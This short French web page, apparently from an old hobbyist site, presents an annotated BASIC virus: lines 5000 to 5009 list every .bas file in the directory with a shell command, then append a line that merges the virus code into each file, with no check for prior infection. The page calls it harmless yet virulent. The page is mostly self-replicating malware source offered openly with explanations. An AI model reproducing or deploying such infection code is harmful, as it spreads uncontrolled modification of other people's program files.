Exemple de virus en basic

Ce virus est un bon exemple de virus non dangereux. Il est cependant virulent. Ce virus est prévu pour infecter chaque fichier, sans procédure de test. Ceci signifie que le virus peut infecter chaque fichier plusieurs fois.

Parties interessantes :

Procédure de recherche de fichiers à infecter : L5000
Procédure d’infection : L5003 à L5009

5000 shell " dir *.bas /b >TOTO " Cherche les fichiers cibles, et inscrit les noms dans " TOTO "
5001 open " toto " for input as 1 Ouverture du fichier " TOTO "
5002 B$= " 5000 merge virus.bas " B$ contient le code du virus à ajouter au programme sain.
5003 While not eof(1) Boucle qui s’exécute tant que " TOTO " n’est pas lu complètement.
5004 input# 1,a$ La variable a$ contient les noms des cibles
5005 open a$ for append as 2 Ouvre le fichier a$
5006 print# 2,b$ Ajoute le code du virus au programme sain
5007 close 2 Ferme le fichier contaminé
5008 wend Fin de la boucle
5009 close 1 Ferme le fichier " TOTO "

*** Visitez notre Sponsor ! ***
Membre de ClickFR, Reseau francophone Paie-Par-Click